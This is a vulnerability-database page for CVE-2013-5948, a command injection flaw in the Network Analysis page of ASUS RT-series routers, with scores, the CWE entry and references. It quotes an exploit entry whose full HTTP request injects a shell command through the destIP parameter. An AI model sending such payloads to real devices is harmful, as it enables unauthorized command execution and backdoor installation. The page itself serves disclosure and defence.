CVE-2013-5948 : Detail

CVE-2013-5948

OS Command Injection
A03-Injection
1.89%V3
Network
2014-04-21
12h00 +00:00
2015-09-16
11h57 +00:00
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CVE Descriptions

The Network Analysis tab (Main_Analysis_Content.asp) in the ASUS RT-AC68U and other RT series routers with firmware before 3.0.0.4.374.5047 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the Target field (destIP parameter).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V2 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 25998

Publication date : 2013-06-06 22h00 +00:00
Author : drone
EDB Verified : No

# Exploit Title: Asus RT56U Remote Command Injection # Date: 05/05/2013 # Exploit Author: drone (@dronesec) # Vendor Homepage: asus.com # Version: <= 3.0.0.4.360 (latest) Device Details: ============== Router information: http://www.asus.com/Networking/RTN56U/ Firmware: http://www.asus.com/Networking/RTN56U/#support_Download_30 Vulnerability Details: ====================== Insufficient (or rather, a complete lack thereof) input sanitization leads to the injection of shell commands. It's possible to upload and execute a backdoor. Example request: GET /apply.cgi?current_page=Main_Analysis_Content.asp&next_page=Main_Analysis_Content.asp&next_host=192.168.1.1&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=EN&SystemCmd=ping+-c+5+%3B+ls+-l&firmver=3.0.0.4&cmdMethod=ping&destIP=%3B+ls+-l+.%2Fuser%2Fcgi-bin%2F&pingCNT=5 HTTP/1.1 Host: 192.168.1.1 Proxy-Connection: keep-alive Authorization: Basic ZGVmYXVsdA== Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safari/537.36 Referer: http://192.168.1.1/Main_Analysis_Content.asp Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Screenshot: http://3.bp.blogspot.com/-ZFhW0bRKM3o/UZwoiPOXXyI/AAAAAAAAAe4/WyTtjhpQEho/s1600/asus_exec_360.jpg

Products Mentioned

Configuraton 0

T-mobile>>Tm-ac1900 >> Version 3.0.0.4.376_3169

Configuraton 0

Asus>>Rt-ac68u_firmware >> Version 3.0.0.4.374.4755

Asus>>Rt-ac68u_firmware >> Version 3.0.0.4.374_4561

Asus>>Rt-ac68u_firmware >> Version 3.0.0.4.374_4887

Asus>>Rt-ac68u >> Version -

References

http://seclists.org/fulldisclosure/2014/Apr/59
Tags : mailing-list, x_refsource_FULLDISC
http://seclists.org/fulldisclosure/2014/Apr/66
Tags : mailing-list, x_refsource_FULLDISC